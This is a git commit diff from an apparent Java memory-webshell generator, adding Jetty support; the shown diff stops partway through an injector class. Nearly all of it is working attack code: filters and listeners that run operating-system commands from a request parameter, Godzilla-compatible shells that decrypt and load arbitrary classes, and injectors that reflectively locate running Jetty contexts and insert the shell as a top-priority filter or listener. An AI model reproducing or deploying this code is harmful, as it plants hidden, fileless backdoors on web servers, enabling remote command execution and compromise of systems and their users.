feat: support jetty shell generate

This commit is contained in:
ReaJason
2024-12-07 20:17:40 +08:00
parent b6e6b69339
commit a7cee2ea21
37 changed files with 1642 additions and 135 deletions
@@ -1,8 +1,10 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.jetty.JettyShell;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.SneakyThrows;
import java.io.IOException;
@@ -11,19 +13,22 @@ import java.io.IOException;
* @since 2024/11/24
*/
public class GeneratorMain {
static TomcatShell tomcatShell = new TomcatShell();
static JettyShell jettyShell = new JettyShell();
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.TOMCAT)
.server(Server.JETTY)
.shellTool(ShellTool.Godzilla)
.shellType(TomcatShell.LISTENER).build();
.shellType(Constants.FILTER).build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass("pass123")
.key("key123")
.pass("pass")
.key("key")
.headerName("User-Agent")
.headerValue("test")
.headerValue("test123")
.build();
byte[] bytes = generate(shellConfig, new InjectorConfig(), godzillaConfig, Packer.INSTANCE.ScriptEngine);
InjectorConfig injectorConfig = new InjectorConfig();
byte[] bytes = generate(shellConfig, injectorConfig, godzillaConfig, Packer.INSTANCE.JSP);
if (bytes != null) {
System.out.println(new String(bytes));
}
@@ -32,22 +37,24 @@ public class GeneratorMain {
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getServer()) {
case TOMCAT:
return TomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
return tomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
case JETTY:
return jettyShell.generate(shellConfig, injectorConfig, shellToolConfig);
case BES:
break;
case RESIN:
break;
case JETTY:
break;
default:
throw new IllegalArgumentException("Unsupported server");
}
return null;
}
@SneakyThrows
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) {
// Files.write(Paths.get( injectorConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
return packerInstance.getPacker().pack(generateResult);
}
return null;
@@ -8,4 +8,11 @@ import net.bytebuddy.jar.asm.Opcodes;
*/
public class Constants {
public static final int DEFAULT_VERSION = Opcodes.V1_6;
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
}
@@ -140,7 +140,9 @@ public class GodzillaManager implements Closeable {
if (response.isSuccessful()) {
return true;
}
} catch (IOException ignored) {
System.out.println(response.body().string());
} catch (IOException e) {
e.printStackTrace();
}
return false;
}
@@ -0,0 +1,70 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.config.*;
import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/7
*/
public abstract class AbstractShell {
protected final Map<String, Pair<Class<?>, Class<?>>> godzillaShellMap = new HashMap<>();
protected final Map<String, Pair<Class<?>, Class<?>>> commandShellMap = new HashMap<>();
public AbstractShell() {
initializeShellMaps();
}
/**
* setup map
*/
protected abstract void initializeShellMaps();
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Class<?> injectorClass = injectorConfig.getInjectorClass();
byte[] shellBytes;
Pair<Class<?>, Class<?>> classPair = getClassPair(shellConfig);
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
return GenerateResult.builder()
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorClass.getName())
.injectorBytes(injectorBytes)
.build();
}
private Pair<Class<?>, Class<?>> getClassPair(ShellConfig shellConfig) {
Map<String, Pair<Class<?>, Class<?>>> shellMap = shellConfig.getShellTool() == ShellTool.Godzilla ? godzillaShellMap : commandShellMap;
return shellMap.get(shellConfig.getShellType());
}
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
return switch (shellConfig.getShellTool()) {
case Godzilla -> GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
};
}
}
@@ -0,0 +1,32 @@
package com.reajason.javaweb.memsell.jetty;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.jetty.command.CommandFilter;
import com.reajason.javaweb.memsell.jetty.command.CommandListener;
import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaFilter;
import com.reajason.javaweb.memsell.jetty.godzilla.GodzillaListener;
import com.reajason.javaweb.memsell.jetty.injector.JettyFilterInjector;
import com.reajason.javaweb.memsell.jetty.injector.JettyListenerInjector;
import org.apache.commons.lang3.tuple.Pair;
import static com.reajason.javaweb.config.Constants.*;
/**
* @author ReaJason
* @since 2024/12/7
*/
public class JettyShell extends AbstractShell {
@Override
protected void initializeShellMaps() {
godzillaShellMap.put(FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
godzillaShellMap.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, JettyFilterInjector.class));
godzillaShellMap.put(LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
godzillaShellMap.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, JettyListenerInjector.class));
commandShellMap.put(FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
commandShellMap.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, JettyFilterInjector.class));
commandShellMap.put(LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
commandShellMap.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, JettyListenerInjector.class));
}
}
@@ -0,0 +1,48 @@
package com.reajason.javaweb.memsell.jetty.command;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String paramName = "{{paramName}}";
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getParameter(paramName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {
}
}
@@ -0,0 +1,74 @@
package com.reajason.javaweb.memsell.jetty.command;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public CommandListener() {
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response");
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,127 @@
package com.reajason.javaweb.memsell.jetty.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
/**
* @author ReaJason
*/
public class GodzillaFilter extends ClassLoader implements Filter {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaFilter() {
}
public GodzillaFilter(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
@SuppressWarnings("all")
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -0,0 +1,148 @@
package com.reajason.javaweb.memsell.jetty.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaListener() {
}
public GodzillaListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute(
"payload",
(new GodzillaListener(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
response.flushBuffer();
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response");
}
return response;
}
}
@@ -0,0 +1,305 @@
package com.reajason.javaweb.memsell.jetty.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.ArrayList;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v8、v9
*
* @author ReaJason
*/
public class JettyFilterInjector {
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
static {
new JettyFilterInjector();
}
public JettyFilterInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public void addFilter(Object context, Object magicFilter) {
Class<?> filterClass = magicFilter.getClass();
try {
Object servletHandler = getFV(context, "_servletHandler");
// 1. 判断是否已经注入
if (isInjected(servletHandler)) {
System.out.println("filter is already injected");
return;
}
Class<?> filterHolderClass = null;
try {
filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
} catch (ClassNotFoundException e) {
filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
}
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filterClass);
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
// 2. 注入内存马Filter
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
// 3. 修改Filter的优先级为第一位
Object filterMaps = getFV(servletHandler, "_filterMappings");
int filterLength = Array.getLength(filterMaps);
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
for (int i = 0; i < filterLength; i++) {
Object filter = Array.get(filterMaps, i);
String filterName = (String) getFV(filter, "_filterName");
if (filterName.equals(getClassName())) {
reorderedFilters.add(0, filter);
} else {
reorderedFilters.add(filter);
}
}
for (int i = 0; i < filterLength; i++) {
Array.set(filterMaps, i, reorderedFilters.get(i));
}
try {
// 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
invokeMethod(servletHandler, "invalidateChainsCache");
} catch (Exception e) {
System.out.println("invalidateChainsCache error");
e.printStackTrace();
}
} catch (Exception e) {
e.printStackTrace();
}
}
List<Object> getContext() {
List<Object> contexts = new ArrayList();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
System.out.printf("contextSize: %s%n", contexts.size());
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
private Object getFilter(Object context) {
Object obj = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
} catch (Throwable e1) {
e1.printStackTrace();
}
}
return obj;
}
public boolean isInjected(Object servletHandler) throws Exception {
try {
Object filterMaps = getFV(servletHandler, "_filterMappings");
for (int i = 0; i < Array.getLength(filterMaps); i++) {
Object filter = Array.get(filterMaps, i);
String filterName = (String) getFV(filter, "_filterName");
if (filterName.equals(getClassName())) {
return true;
}
}
} catch (Exception e) {
return false;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,253 @@
package com.reajason.javaweb.memsell.jetty.injector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v7、v8、v9
*
* @author ReaJason
*/
public class JettyListenerInjector {
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
static {
new JettyListenerInjector();
}
public JettyListenerInjector() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception e) {
e.printStackTrace();
}
}
List<Object> getContext() {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
private Object getListener(Object context) {
Object listener = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable e1) {
e1.printStackTrace();
}
}
return listener;
}
public static void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
} catch (Exception ignored) {
}
}
public static boolean isInjected(Object context, String className) throws Exception {
try {
// jetty v8、 v9
EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners");
for (EventListener eventListener : eventListeners) {
if (eventListener.getClass().getName().contains(className)) {
return true;
}
}
} catch (Exception ignored) {
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
try {
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
Class<?> decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
